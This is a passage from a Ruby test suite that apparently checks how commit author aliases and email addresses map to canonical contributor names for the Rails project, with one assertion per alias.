test 'noradio' do
assert_contributor_names '87b55f5', 'Marcel Molina Jr.'
end
test 'norbauer' do
assert_contributor_names '1caa763', 'Norbauer Inc'
end
test 'norbert' do
assert_contributor_names 'f70b74a', 'Norbert Crombach'
end
test "normelton\100gmail.com" do
assert_contributor_names 'd4c24b6', 'Norman Elton'
end
test 'nosolopau' do
assert_contributor_names '1e1711c', 'Pau'
end
test 'notahat' do
assert_contributor_names '566a369', 'Pete Yandell'
end
test 'nov' do
assert_contributor_names '5476a6a', 'Nobukazu Matake'
end
test "nov\100yo.rim.or.jp" do
assert_contributor_names 'ae0e1a0', 'Nobuhiro Imai'
end
test 'ntalbott' do
assert_contributor_names '5430eb6', 'Nathaniel Talbott'
end
test 'nullstyle' do
assert_contributor_names '79670fb', 'Scott Fleckenstein'
end
test "nunemaker\100gmail.com" do
assert_contributor_names '4defe1a', 'John Nunemaker'
end
test 'nzkoz' do
assert_contributor_names '96557eb', 'Michael Koziarski'
end
test 'ObieFernandez' do
assert_contributor_names 'efaf2af', 'Obie Fernandez'
end
test 'obrie' do
assert_contributor_names '2043513', 'Aaron Pfeifer'
end
test 'octopod' do
assert_contributor_names '0fd9743', 'Chris McGrath'
end
test 'ogawaso' do
assert_contributor_names 'd4d3d05', 'Soichiro Ogawa'
end
test 'ogeidix' do
assert_contributor_names '1ac802f', 'Diego Giorgini'
end
test "okkez000\100gmail.com" do
assert_contributor_names 'a9ed24c', 'okkez'
end
test "okuramasafumi" do
assert_contributor_names "fd205ed", "OKURA Masafumi"
end
test "oleg.frolov\100gmail.com" do
assert_contributor_names 'a288179', 'Oleg Frolov'
end
test 'oleganza' do
assert_contributor_names 'f95ff8d', 'Oleg Andreev'
end
test "olivier_ansaldi\100yahoo.com" do
assert_contributor_names 'f801cd7', 'Olivier Ansaldi'
end
test 'Olly Legg' do
assert_contributor_names '0349278', 'Oliver Legg'
end
test "ordwaye\100evergreen.edu" do
assert_contributor_names 'c29db9f', 'Erik Ordway'
end
test 'orta' do
assert_contributor_names '4c323bc', 'Orta Therox'
end
test 'oss92' do
assert_contributor_names 'b937c24', 'Mohamed Osama'
end
test 'outerim' do
assert_contributor_names '3b6555a', 'Lee Jensen'
end
test 'Overbryd' do
assert_contributor_names '9fb5ee8', 'Lukas Rieder'
end
test 'oz' do
assert_contributor_names '4d4db4c', 'utilum'
end
test 'Pablo Ifrán' do
assert_contributor_names 'c945da5', 'Pablo Ifrán'
end
test 'ozzyaaron' do
assert_contributor_names '837f0ab', 'Aaron Todd'
end
test 'packagethief' do
assert_contributor_names 'f005587', 'Jeffrey Hardy'
end
test 'padi' do
assert_contributor_names 'f55ecc6', 'Marc Rendl Ignacio'
end
test 'pager' do
assert_contributor_names '6a611e1', 'Dmitriy Timokhin'
end
test 'palkan' do
assert_contributor_names '7785871', 'Vladimir Dementyev'
end
test 'paranoiase Kang' do
assert_contributor_names '2773257', 'Sung-hee Kang'
end
test "patrick\100lenz.sh" do
assert_contributor_names '2876efb', 'Patrick Lenz'
end
test 'patrick.t.joyce' do
assert_contributor_names '5ac3a9b', 'Patrick Joyce'
end
test "paul\100cnt.org" do
assert_contributor_names '33cf8f1', 'Paul Smith'
end
test "paul\100paulbutcher.com" do
assert_contributor_names 'ccd32ad', 'Paul Butcher'
end
test 'paulccarey' do
assert_contributor_names '2b2ee22', 'Paul Carey'
end
test 'pavlos' do
assert_contributor_names '6861a1d', 'Paul Hieromnimon'
end
test 'pawel2015' do
assert_contributor_names 'b2bfb07', 'Pawel Janiak'
end
test 'pbflinn' do
assert_contributor_names '690eae7', 'Perry Flinn'
end
test 'pburleson' do
assert_contributor_names '58bf8f4', 'Patrick Burleson'
end
test "pburleson\100gmail.com" do
assert_contributor_names '1ee780b', 'Patrick Burleson'
end
test "pdcawley\100bofh.org.uk" do
assert_contributor_names '9c5591d', 'Piers Cawley'
end
test 'pedz' do
assert_contributor_names 'e4e3df8', 'Perry Smith'
end
test 'pelargir' do
assert_contributor_names '8c2177c', 'Matthew Bass'
end
test 'Pelle' do
assert_contributor_names '53088c4', 'Pelle Braendgaard'
end
test 'pelle' do
assert_contributor_names 'da7f9f5', 'Pelle Braendgaard'
end
test "pelletierm\100eastmedia.net" do
assert_contributor_names '5a9a93d', 'Matt Pelletier'
end
test "pergesu\100gmail.com" do
assert_contributor_names 'befd62c', 'Pat Maddox'
end
test "perlguy\100gmail.com" do
assert_contributor_names 'd0bd3b5', 'Jim Helm'
end
test "petermichaux\100gmail.com" do
assert_contributor_names '8734da9', 'Peter Michaux'
end
test 'Peter Jaros' do
assert_contributor_names 'b947b6eca5', 'Petra Jaros'
end
test 'Petrik' do
assert_contributor_names '9a57cd3', 'Petrik de Heus'
end
test 'pezra' do
assert_contributor_names '860cf2d', 'Peter Williams'
end
test 'phallstrom' do
assert_contributor_names 'a49e7d5', 'Philip Hallstrom'
end
test "phil.ross\100gmail.com" do
assert_contributor_names 'f4f7e75', 'Philip Ross'
end
test "philbogle\100gmail.com" do
assert_contributor_names 'b8a5d398', 'Phil Bogle'
end
test 'Philipp Weissensteiner' do
assert_contributor_names '8102c0d', 'Philipp Weißensteiner'
end
test "phillip\100pjbsoftware.com" do
assert_contributor_names '6cae2b7', 'Phillip J. Birmingham'
end
test 'phinze' do
assert_contributor_names 'd2d7492', 'Paul Hinze'
end
test 'phoet' do
assert_contributor_names 'b6aa70c', 'Peter Schröder'
end
test "phurley\100gmail.com" do
assert_contributor_names '09751e5', 'Patrick Hurley'
end
test "piecehealth" do
assert_contributor_names '1f2d012', 'Zhang Kang'
end
test 'PikachuEXE' do
assert_contributor_names '7fc3390', 'Leung Ho Kuen'
end
test 'piotr' do
assert_contributor_names '1708a86', 'Piotr Banasik'
end
test "piotr\100t-p-l.com" do
assert_contributor_names '620d3a3', 'Piotr Banasik'
end
test 'pivotal' do
assert_contributor_names 'e710902', 'Pivotal Labs'
end
test 'Pivotal Labs' do
assert_contributor_names '487758b', 'Pivotal Labs'
end
test 'pixeltrix' do
assert_contributor_names '779db44', 'Andrew White'
end
test "pjhyett\100gmail.com" do
assert_contributor_names '8eaf479', 'PJ Hyett'
end
test 'pleax' do
assert_contributor_names '2dc1402', 'Dmitry Lipovoi'
end
test 'pope' do
assert_contributor_names '4d5b913', 'Tim Pope'
end
test 'postmodern' do
assert_contributor_names 'f9e84a9', 'Hal Brodigan'
end
test 'PotatoSalad' do
assert_contributor_names '083b0b7', 'Andrew Bennett'
end
test 'PoTe' do
assert_contributor_names 'dadfa1e', 'Pablo Astigarraga'
end
test 'pragdave' do
assert_contributor_names '76e4c1a', 'Dave Thomas'
end
test 'prakash' do
assert_contributor_names '8207267', 'Prakash Laxkar'
end
test 'prakashmurthy' do
assert_contributor_names '6b31fd8', 'Prakash Murthy'
end
test 'pratik' do
assert_contributor_names 'dc1166d', 'Pratik Naik'
end
test 'Pratik' do
assert_contributor_names '281edce', 'Pratik Naik'
end
test 'printercu' do
assert_contributor_names '0b7a37a', 'Max Melentiev'
end
test "progrium\100gmail.com" do
assert_contributor_names 'aa7859c', 'Jeff Lindsay'
end
test 'protocool' do
assert_contributor_names '3054971', 'Trevor Squire'
end
test 'psq' do
assert_contributor_names 'c443a61', 'Pascal Belloncle'
end
test "pterjan\100mandriva.com" do
assert_contributor_names '1e216b1', 'Pascal Terjan'
end
test "pudeyo\100rpi.com" do
assert_contributor_names '98898ed', 'Oleg Pudeyev'
end
test "purestorm\100ggnore.net" do
assert_contributor_names 'da675e5', 'Manuel Holtgrewe'
end
test 'purp' do
assert_contributor_names '31e2a2d', 'Jim Meyer'
end
test 'pyromaniac' do
assert_contributor_names '5a4cdf9', 'Arkadiy Zabazhanov'
end
test 'queso' do
assert_contributor_names '5285270', 'Josh Owens'
end
test 'raasdnil' do
assert_contributor_names '3a90e72', 'Mikel Lindsaar'
end
test 'rabiedenharn' do
assert_contributor_names 'ce0653b', 'Rob Biedenharn'
end
test 'Radar' do
assert_contributor_names 'ca94136', 'Ryan Bigg'
end
test 'Rafael França' do
assert_contributor_names 'ee82ce7', 'Rafael Mendonça França'
end
test 'raggi' do
assert_contributor_names '08e9d0d', 'James Tucker'
end
test 'RAHUL CHAUDHARI' do
assert_contributor_names '077dffa', 'Rahul P. Chaudhari'
end
test 'Rahul Chaudhari' do
assert_contributor_names 'dc3f33e', 'Rahul P. Chaudhari'
end
test "raidel\100onemail.at" do
assert_contributor_names '20d27f6', 'Michael Raidel'
end
test "rails\10033lc0.net" do
assert_contributor_names 'b2681cc', 'Eelco Lempsink'
end
test "rails\100bencurtis.com" do
assert_contributor_names '4c966a0', 'Benjamin Curtis'
end
test "rails\100electricvisions.com" do
assert_contributor_names 'ffbaf1c', 'John Oxton'
end
test "rails\100jeffcole.net" do
assert_contributor_names '4793a2f', 'Jeff Cole'
end
test "rails\100roetzel.de" do
assert_contributor_names 'ce0653b', 'David Roetzel'
end
test "rails\100tpope.info" do
assert_contributor_names '74d1512', 'Tim Pope'
end
test 'railsbob' do
assert_contributor_names '80d8608', 'Anup Narkhede'
end
test 'RainerBlessing' do
assert_contributor_names '8b7219b', 'Rainer Blessing'
end
test "raphinou\100yahoo.com" do
assert_contributor_names '7661c2b', 'Raphael Bauduin'
end
test 'Raphomet' do
assert_contributor_names 'b4e5da6', 'Raphael Lee'
end
test 'rasputnik' do
assert_contributor_names 'f22b000', 'Dick Davies'
end
test 'ravindra kumar kumawat' do
assert_contributor_names '8bd064e', 'Ravindra Kumar Kumawat'
end
test 'rayners' do
assert_contributor_names '37a4615', 'David Raynes'
end
test 'rcoder' do
assert_contributor_names '0adcd81', 'Lennon Day-Reynolds'
end
test "rdifrango\100captechventures.com" do
assert_contributor_names '42576ff', 'Ron DiFrango'
end
test 'redbeard' do
assert_contributor_names '0230fc9', 'Tal Rotbart'
end
test 'redinger' do
assert_contributor_names '1d32cec', 'Christopher Redinger'
end
test 'regonn' do
assert_contributor_names '902fef3', 'Kenta Tanoue'
end
test 'ReinH' do
assert_contributor_names 'b30de60', 'Rein Henrichs'
end
test 'remvee' do
assert_contributor_names '66e97c3', "Remco van 't Veer"
end
test 'remy' do
assert_contributor_names 'b2dd357', 'Rémy Coutable'
end
test "rephorm\100rephorm.com" do
assert_contributor_names 'b84a7be', 'Brian Mattern'
end
test 'retr0h' do
assert_contributor_names 'cbdb4aa', 'John Dewey'
end
test 'reu' do
assert_contributor_names '77c099c', 'Rodrigo Navarro'
end
test 'revans' do
assert_contributor_names 'be0c453', 'Robert Evans'
end
test 'Rich Olson' do
assert_contributor_names '9025e5d', 'Rick Olson'
end
test 'richcollins' do
assert_contributor_names '6f559f8', 'Rich Collins'
end
test "richcollins\100gmail.com" do
assert_contributor_names '1d4d037', 'Rich Collins'
end
test 'Rick' do
assert_contributor_names 'e41f489', 'Rick Olson'
end
test 'rick' do
assert_contributor_names '083b0b7', 'Rick Olson'
end
test 'Rick Olsen' do
assert_contributor_names '5b9b904', 'Rick Olson'
end
test "rick\100rickbradley.com" do
assert_contributor_names 'c4233a0', 'Rick Bradley'
end
test 'Riley' do
assert_contributor_names '380800e', 'Riley Lynch'
end
test 'rizwanreza' do
assert_contributor_names 'd1202cf', 'Rizwan Reza'
end
test 'rmacklin' do
assert_contributor_names 'aa1ba9c', 'Richard Macklin'
end
test 'rmm5t' do
assert_contributor_names 'd761ac4', 'Ryan McGeary'
end
test 'Rob' do
assert_contributor_names 'a25296a', 'Rob Anderton'
end
test "rob.rasmussen\100gmail.com" do
assert_contributor_names 'c5d5c4f', 'Rob Rasmussen'
end
test "robbat2\100gentoo.org" do
assert_contributor_names '2a12b56', 'Robin H. Johnson'
end
test "robby\100planetargon.com" do
assert_contributor_names '2f40936', 'Robby Russell'
end
test 'robbyrussell' do
assert_contributor_names 'e38ad5d', 'Robby Russell'
end
test 'Robert Pankowecki (Gavdi)' do
assert_contributor_names 'e95b5b3', 'Robert Pankowecki'
end
test 'RobertZK' do
assert_contributor_names 'a723519', 'Robert Krzyzanowski'
end
test 'robertomiranda' do
assert_contributor_names 'a316c09', 'Roberto Miranda'
end
test 'robinjfisher' do
assert_contributor_names '8091ed5', 'Robin Fisher'
end
test 'rockrep' do
assert_contributor_names 'f7dbf38', 'Michael Kintzer'
end
test 'roderickvd' do
assert_contributor_names 'b14378c', 'Roderick van Domburg'
end
test 'rohit' do
assert_contributor_names '39cb27b', 'Rohit Arondekar'
end
test 'Roman Le Negrate' do
assert_contributor_names 'a0c677c', 'Roman Le Négrate'
end
test 'Roman2K' do
assert_contributor_names '6ee09b6', 'Roman Le Négrate'
end
test 'RomD' do
assert_contributor_names 'd6ae930', 'Roman Dittert'
end
test "ror\100philippeapril.com" do
assert_contributor_names '62d749a', 'Philippe April'
end
test 'Ross Kaffenburger' do
assert_contributor_names '523f3ba', 'Ross Kaffenberger'
end
test 'rpheath' do
assert_contributor_names '1ab2ff5', 'Ryan Heath'
end
test 'rpq' do
assert_contributor_names '510502e', 'Ramon Quezada'
end
test "rramdas\100gmail.com" do
assert_contributor_names '40c86a7', 'Rodney Ramdas'
end
test 'rsanheim' do
assert_contributor_names 'af43e87', 'Rob Sanheim'
end
test "rscottmace\100gmail.com" do
assert_contributor_names '8e8bf37', 'Scott Mace'
end
test 'rsl' do
assert_contributor_names 'ba342c2', 'Russell Norris'
end
test 'RSL' do
assert_contributor_names '6ccbef5', 'Russell Norris'
end
test 'rspeicher' do
assert_contributor_names '0da754d', 'Robert Speicher'
end
test "rtomayko\100gmail.com" do
assert_contributor_names '9db8f3e', 'Ryan Tomayko'
end
test "ruben.nine\100gmail.com" do
assert_contributor_names '9935a35', 'Ruben Nine'
end
test "ruby\100bobsilva.com" do
assert_contributor_names '231a464', 'Bob Silva'
end
test "rubyonrails\100beautifulpixel.com" do
assert_contributor_names '3fb29b1', 'Alex Wayne'
end
test 'RubyRedRick' do
assert_contributor_names 'bef071d', 'Rick DeNatale'
end
test 'rubyruy' do
assert_contributor_names 'da5d8fa', 'Ruy Asan'
end
test 'rusikf' do
assert_contributor_names '47896b3', 'Ruslan Korolev'
end
test 'rwdaigle' do
assert_contributor_names '9b8399f', 'Ryan Daigle'
end
test 'Ryan Davis' do
assert_contributor_names '2890b96', 'Ryan Davis (zenspider)'
end
test 'Ryunosuke Sato' do
assert_contributor_names 'd022fce', 'Ryunosuke Sato'
end
test "ryan.raaum\100gmail.com" do
assert_contributor_names '0f0d926', 'Ryan Raaum'
end
test 'ryanb' do
assert_contributor_names '9450262', 'Ryan Bates'
end
test "ryand-ruby\100zenspider.com" do
assert_contributor_names 'a2f0ae7', 'Ryan Davis (zenspider)'
end
test 'ryepup' do
assert_contributor_names '2fac5d1', 'Ryan Davis (ryepup)'
end
test 'Sachin87' do
assert_contributor_names 'c176397', 'Sachin Singh'
end
test 'saimonmoore' do
assert_contributor_names 'c1bc61c', 'Simon Moore'
end
test 'saksmlz' do
assert_contributor_names '68307a1', 'Aliaxandr Rahalevich'
end
test "sam.kirchmeier\100gmail.com" do
assert_contributor_names '35b4bdc', 'Sam Kirchmeier'
end
test 'Sam Phippen' do
assert_contributor_names 'eba3618', 'Penelope Phippen'
end
test 'Samuel Elliott' do
assert_contributor_names '31ea83e', 'Sam Elliott'
end
test 'Samus_' do
assert_contributor_names 'b4b6ffe', 'Michael Cetrulo'
end
test 'sandofsky' do
assert_contributor_names '2ba8864', 'Ben Sandofsky'
end
test "sandra.metz\100duke.edu" do
assert_contributor_names '242cd06', 'Sandi Metz'
end
test 'sanemat' do
assert_contributor_names '3b98fb7', 'Murahashi Sanemat Kenichi'
end
test 'sblackstone' do
assert_contributor_names '49f2e6f', 'Stephen Blackstone'
end
test 'Schneems' do
assert_contributor_names 'a8870d1', 'Richard Schneeman'
end
test "\100schneems" do
assert_contributor_names 'ef91cdd', 'Richard Schneeman'
end
test 'schneems' do
assert_contributor_names '921dcc2', 'Richard Schneeman'
end
test "schoenm\100earthlink.net" do
assert_contributor_names '0293c34', 'Michael Schoen'
end
test "sco\100scottraymond.net" do
assert_contributor_names '0925c6b', 'Scott Raymond'
end
test "scott\100sigkill.org" do
assert_contributor_names 'ad24c6d', 'Scott Laird'
end
test 'scott_willson' do
assert_contributor_names 'd64832c', 'Scott Willson'
end
test 'ScottSchram' do
assert_contributor_names 'a0c925c', 'Scott Schram'
end
test 'Sen Zhang' do
assert_contributor_names 'd57356b', 'Sen Zhang'
end
test 'scottwillson' do
assert_contributor_names 'c75cfa0', 'Scott Willson'
end
test "sd\100notso.net" do
assert_contributor_names '35240ba', 'Sebastian Delmont'
end
test 'sdsykes' do
assert_contributor_names '0da2357', 'Stephen Sykes'
end
test 'sealocal' do
assert_contributor_names '27a4e93', 'Mike Taylor'
end
test 'Sean Griffin' do
assert_contributor_names '332c336', 'Siân Griffin'
end
test "sean\100ardismg.com" do
assert_contributor_names '2876efb', 'Sean T Allen'
end
test 'seangeo' do
assert_contributor_names 'c81fff2', 'Sean Geoghegan'
end
test 'seanhussey' do
assert_contributor_names '18a3333', 'Sean Hussey'
end
test 'seapy' do
assert_contributor_names '6c252b5', 'Jeong Changhoon'
end
test 'sebastian.kanthak' do
assert_contributor_names '78a732b', 'Sebastian Kanthak'
end
test "sebastian.kanthak\100muehlheim.de" do
assert_contributor_names 'b1a4f91', 'Sebastian Kanthak'
end
test "self\100mattmower.com" do
assert_contributor_names '9bafd35', 'Matt Mower'
end
test 'Semyon Perepelitsa' do
assert_contributor_names '540ebe3', 'Simon Perepelitsa'
end
test "sergeykojin\100gmail.com" do
assert_contributor_names 'ba5591f', 'Sergey Kojin'
end
test 'Sergio Gil Pérez de la Manga' do
assert_contributor_names 'de178df', 'Sergio Gil'
end
test 'sethladd' do
assert_contributor_names '32b31a2', 'Seth Ladd'
end
test 'sgerrand' do
assert_contributor_names 'f40a3ea', 'Sasha Gerrand'
end
test "\100sgrif" do
assert_contributor_names '2bbcca0', 'Siân Griffin'
end
test 'sgrif' do
assert_contributor_names '92a6033', 'Siân Griffin'
end
test 'sh6khan' do
assert_contributor_names '319baed', 'Sadman Khan'
end
test "shimbo\100is.naist.jp" do
assert_contributor_names '6aaa08d', 'Masashi Shimbo'
end
test 'shingo-nakanishi' do
assert_contributor_names 'd089fe2', 'shingo-nakanishi'
end
test 'shioimm' do
assert_contributor_names 'f5e2d98', 'Misaki Shioi'
end
test 'shock_one' do
assert_contributor_names 'ec1b715', 'Volodymyr Shatsky'
end
test 'shtirlic' do
assert_contributor_names 'c2b79c0', 'Serg Podtynnyi'
end
test 'shugo' do
assert_contributor_names '4699c33', 'Shugo Maeda'
end
test "shugo\100ruby-lang.org" do
assert_contributor_names '21cf3c6', 'Shugo Maeda'
end
test 'ShunsukeAida' do
assert_contributor_names '9982138', 'Shunsuke Aida'
end
test 'shunsukeaida' do
assert_contributor_names '884d123', 'Shunsuke Aida'
end
test "shup_d\100cube.(none)" do
assert_contributor_names '7260852', 'Josh Peek'
end
test 'Si' do
assert_contributor_names '9b24e11', 'Si Jobling'
end
test "simon\100redhillconsulting.com.au" do
assert_contributor_names '2043513', 'Simon Harris'
end
test "simon.stapleton\100gmail.com" do
assert_contributor_names '16e41c6', 'Simon Stapleton'
end
test 'simonjefford' do
assert_contributor_names 'd44ce1c', 'Simon Jefford'
end
test 'simply-phi' do
assert_contributor_names 'ac07da8', 'Ibrahim Abdullah'
end
test 'siong1987' do
assert_contributor_names '5df9d00', 'Teng Siong Ong'
end
test 'sjain1107' do
assert_contributor_names 'c351a82', 'Sakshi Jain'
end
test 'sjgman9' do
assert_contributor_names 'fade31a', 'Sam Granieri'
end
test 'skae' do
assert_contributor_names '5640773', 'Stefan Kaes'
end
test 'skaen' do
assert_contributor_names 'c8b4cf6', 'Stefan Kaes'
end
test 'Skaes' do
assert_contributor_names '689cca1', 'Stefan Kaes'
end
test 'skaes' do
assert_contributor_names 'e3670a0', 'Stefan Kaes'
end
test "skaes\100web.de" do
assert_contributor_names '5d61d23', 'Stefan Kaes'
end
test 'skaes.web.de' do
assert_contributor_names '31ae812', 'Stefan Kaes'
end
test 'skanthak' do
assert_contributor_names '693e0df', 'Sebastian Kanthak'
end
test 'slainer68' do
assert_contributor_names '6241d4e', 'Nicolas Blanco'
end
test 'smeade' do
assert_contributor_names '68849e3', 'Scott Meade'
end
test 'snusnu' do
assert_contributor_names 'ce50c96', 'Martin Gamsjaeger'
end
test "solo\100gatelys.com" do
assert_contributor_names '796a43d', 'Solomon White'
end
test "somekool\100gmail.com" do
assert_contributor_names '4fc6c87', 'Mathieu Jobin'
end
test 'sonnym' do
assert_contributor_names '0950d40', 'Sonny Michaud'
end
test 'Spakman' do
assert_contributor_names 'eede82c', 'Mark Somerville'
end
test 'spicycode' do
assert_contributor_names '8670631', 'Chad Humphries'
end
test 'spyhole' do
assert_contributor_names 'cd31eb1', 'Johnson Wang'
end
test 'Squeegy' do
assert_contributor_names '2b6954a', 'Alex Wayne'
end
test 'sshaw' do
assert_contributor_names 'f9369c0', 'Skye Shaw'
end
test "ssinghi\100kreeti.com" do
assert_contributor_names 'f3aa7c1', 'Surendra Singhi'
end
test 'ssoroka' do
assert_contributor_names '519c5c7', 'Steven Soroka'
end
test 'st0012' do
assert_contributor_names 'e8688dd', 'Stan Lo'
end
test 'Stanislav' do
assert_contributor_names '40f1642', 'Stanislav Sobolev'
end
test "starr\100starrnhorne.com" do
assert_contributor_names 'ebc0a38', 'Starr Horne'
end
test 'Stefan' do
assert_contributor_names 'db7fadd', 'Stefan Kaes'
end
test 'stellsmi' do
assert_contributor_names 'af98d88', 'Jeremy Lightsmith'
end
test 'Stephan Kaes' do
assert_contributor_names '7fe3fd2', 'Stefan Kaes'
end
test "stephen\100touset.org" do
assert_contributor_names '2876efb', 'Stephen Touset'
end
test "stephen_purcell\100yahoo.com" do
assert_contributor_names 'b0a86f8', 'Steve Purcell'
end
test "stephenh\100chase3000.com" do
assert_contributor_names '1a6954a', 'Stephen Haberman'
end
test 'steve' do
assert_contributor_names '60a6284', 'Steven Bristol'
end
test 'Steve St. Martin' do
assert_contributor_names '679a0bf', 'Stephen St. Martin'
end
test 'stevenbristol' do
assert_contributor_names '5af4463', 'Steven Bristol'
end
test 'sthollmann' do
assert_contributor_names '164af1f', 'Stefan Hollmann'
end
test "stian\100grytoyr.net" do
assert_contributor_names '7a6a923', 'Stian Grytøyr'
end
test "stlruby\100googlegroups.com" do
assert_contributor_names 'ee04aea', 'St. Louis Ruby Users Group'
end
test 'stopdropandrew' do
assert_contributor_names '083b0b7', 'Andrew Grim'
end
test 'subelsky' do
assert_contributor_names 'f596dda', 'Mike Subelsky'
end
test 'suchasurge' do
assert_contributor_names 'b99fb66', 'Frank Müller'
end
test 'Sudara' do
assert_contributor_names 'e848ab5', 'Sudara Williams'
end
test 'sue445' do
assert_contributor_names 'a913af9', 'Go Sueyoshi'
end
test 'SUGINO Yasuhiro' do
assert_contributor_names '4a36eb6', 'Sugino Yasuhiro'
end
test 'suginoy' do
assert_contributor_names '4f6f433', 'Sugino Yasuhiro'
end
test 'Sunny' do
assert_contributor_names 'ce40df2', 'Sunny Ripert'
end
test 'stve' do
assert_contributor_names 'e80d9f4', 'Steve Agalloco'
end
test 'sur' do
assert_contributor_names '8b2a601', 'Sur Max'
end
test 'sveiss' do
assert_contributor_names 'b3b0a0c', 'Stephen Veiss'
end
test "sveit\100tradeharbor.com" do
assert_contributor_names '3398f74', 'Stephen Veit'
end
test "sven\100c3d2.de" do
assert_contributor_names '4b3e964', 'Sven Klemm'
end
test 'Sven Kraeuter | 5v3n' do
assert_contributor_names 'a1c7b0e', 'Sven Kräuter'
end
test 'swapdisc' do
assert_contributor_names '5105b89', 'Joe Lewis'
end
test "t.lucas\100toolmantim.com" do
assert_contributor_names '6a83ebf', 'Tim Lucas'
end
test 'Tadas Tamosauskas' do
assert_contributor_names 'f292f09', 'Tadas Tamošauskas'
end
test 'tagoh' do
assert_contributor_names 'c554a9c', 'Akira Tagoh'
end
test "takiuchi\100drecom.co.jp" do
assert_contributor_names '06411f4', 'Genki Takiuchi'
end
test 'takkanm' do
assert_contributor_names 'fa1ea34' ,'Mitsutaka Mimura'
end
test 'tank-bohr' do
assert_contributor_names 'f3101fd', 'Alexey Nikitin'
end
test 'tanmay3011' do
assert_contributor_names '2e51d6f', 'Tanmay Sinha'
end
test 'tarmo' do
assert_contributor_names 'fd3f048', 'Tarmo Tänav'
end
test 'tarmo_t' do
assert_contributor_names '6b1901d', 'Tarmo Tänav'
end
test 'taryn' do
assert_contributor_names 'ce61a6b', 'Taryn East'
end
test 'tashian' do
assert_contributor_names 'e95b965', 'Carl Tashian'
end
test 'technomancy' do
assert_contributor_names '673daea', 'Phil Hagelberg'
end
test "technomancy\100gmail.com" do
assert_contributor_names 'f1a350a', 'Phil Hagelberg'
end
test "technoweenie\100gmail.com" do
assert_contributor_names 'df7a4d4', 'Rick Olson'
end
test 'Tekin' do
assert_contributor_names 'd7c2e52', 'Tekin Suleyman'
end
test 'Teo Hui Ming' do
assert_contributor_names 'b307210', 'Huiming Teo'
end
test 'thechrisoshow' do
assert_contributor_names '5a5b0b8', "Chris O'Sullivan"
end
test 'theflow' do
assert_contributor_names '63e9687', 'Florian Munz'
end
test 'thenickcox' do
assert_contributor_names '431b236', 'Nick Cox'
end
test 'Theory' do
assert_contributor_names '38deb0e', 'David E. Wheeler'
end
test 'thewoolleyman' do
assert_contributor_names '2bfd677', 'Chad Woolley'
end
test 'thiagoaugusto' do
assert_contributor_names '361f1bc', 'Thiago Augusto'
end
test "thijs\100fngtps.com" do
assert_contributor_names '7864d0e', 'Thijs van der Vossen'
end
test "thijs\100vandervossen.net" do
assert_contributor_names '74896c0', 'Thijs van der Vossen'
end
test 'thijsv' do
assert_contributor_names '15b1b88', 'Thijs van der Vossen'
end
test 'thoefer' do
assert_contributor_names '1863f12', 'Tom Hoefer'
end
test "thomas\100columbus.rr.com" do
assert_contributor_names '3553b59', 'Tom Lieber'
end
test "thomas\100fesch.at" do
assert_contributor_names '7d01005', 'Thomas Fuchs'
end
test "tietew\100tietew.net" do
assert_contributor_names '3080b27', 'Tietew'
end
test 'timc' do
assert_contributor_names 'd4b6671', 'Tim Carpenter'
end
test "timct\100mac.com" do
assert_contributor_names '0d52abf', 'Tim Trautmann'
end
test 'Time Pope' do
assert_contributor_names 'e2ad603', 'Tim Pope'
end
test 'Timm' do
assert_contributor_names 'ff1b7e7', 'Kasper Timm Hansen'
end
test 'Tima Maslyuchenko' do
assert_contributor_names '633ea6a', 'Tim Masliuchenko'
end
test 'tinogomes' do
assert_contributor_names '5121593', 'Celestino Gomes'
end
test 'tleneveu' do
assert_contributor_names '3d22686', 'Thibaut Leneveu'
end
test 'tmacedo' do
assert_contributor_names '1370d15', 'Tiago Macedo'
end
test "tmornini\100infomania.com" do
assert_contributor_names '311342d', 'Tom Mornini'
end
test 'tnp' do
assert_contributor_names 'bdba748', 'Troels Petersen'
end
test 'Tobias Luekte' do
assert_contributor_names 'f1880ca', 'Tobias Lütke'
end
test 'Tobias Luetke' do
assert_contributor_names '553c23d', 'Tobias Lütke'
end
test 'TobiasLuetke' do
assert_contributor_names 'd4e02f7', 'Tobias Lütke'
end
test 'toby cabot' do
assert_contributor_names 'bdfddb0', 'Toby Cabot'
end
test 'todd' do
assert_contributor_names 'a7a1c4e', 'Todd Gehman'
end
test "todd\100robotcoop.com" do
assert_contributor_names '45ee71a', 'Todd Gehman'
end
test "tom\100craz8.com" do
assert_contributor_names '838ec41', 'Tom Fakes'
end
test "tom.enebo\100gmail.com" do
assert_contributor_names 'fc04243', 'Thomas Enebo'
end
test "tom\100moertel.com" do
assert_contributor_names '43c470f', 'Tom Moertel'
end
test "tom\100popdog.net" do
assert_contributor_names '5779deb', 'Tom Ward'
end
test 'Tom ward' do
assert_contributor_names '0555fc9', 'Tom Ward'
end
test 'tomafro' do
assert_contributor_names 'ccb87e2', 'Tom Ward'
end
test 'tomhuda' do
assert_contributor_names '00be5bd', 'Yehuda Katz', 'Tom Dale'
end
test 'TomK32' do
assert_contributor_names '235cd21', 'Thomas R. Koll'
end
test 'Toshimaru' do
assert_contributor_names 'd9ff835', 'Toshimaru'
end
test 'tomtoday' do
assert_contributor_names 'b1aa674', 'Tom Brice'
end
test "tomtoday\100gmail.com" do
assert_contributor_names '5f4f4b0', 'Tom Brice'
end
test 'toolmantim' do
assert_contributor_names '4a8d3d5', 'Tim Lucas'
end
test 'topfunky' do
assert_contributor_names '2a08c45', 'Geoffrey Grosenbach'
end
test 'tpope' do
assert_contributor_names 'e522f75', 'Tim Pope'
end
test 'trans' do
assert_contributor_names 'c9d4335', 'Thomas Sawyer'
end
test 'trek' do
assert_contributor_names '083b0b7', 'Trek Glowacki'
end
test 'tsukasaoishi' do
assert_contributor_names '4e83815', 'Tsukasa OISHI'
end
test "turnip\100turnipspatch.com" do
assert_contributor_names '8e3bf70', 'Jonathan Leighton'
end
test 'Tuxie' do
assert_contributor_names '3c877ec', 'Per Wigren'
end
test "tuxie\100dekadance.se" do
assert_contributor_names '813a8b9', 'Per Wigren'
end
test 'twinturbo' do
assert_contributor_names 'dee375a', 'Adam Hawkins'
end
test "twoggle\100gmail.com" do
assert_contributor_names '8b8a30d', 'Tim Fletcher'
end
test "tyler\100kianta.com" do
assert_contributor_names 'c0f84b1', 'Tyler Kiley'
end
test "tyler.kovacs\100gmail.com" do
assert_contributor_names '5b3bc31', 'Tyler Kovacs'
end
test 'tzaharia' do
assert_contributor_names '8ff92e2', 'Tieg Zaharia'
end
test 'Ugis Ozols' do
assert_contributor_names '3ca1bc3', 'Uģis Ozols'
end
test 'Ulysses' do
assert_contributor_names 'c6ea1d3', 'Nicholas Seckar'
end
test 'vanderhoop' do
assert_contributor_names 'b345fc2', 'Travis Vander Hoop'
end
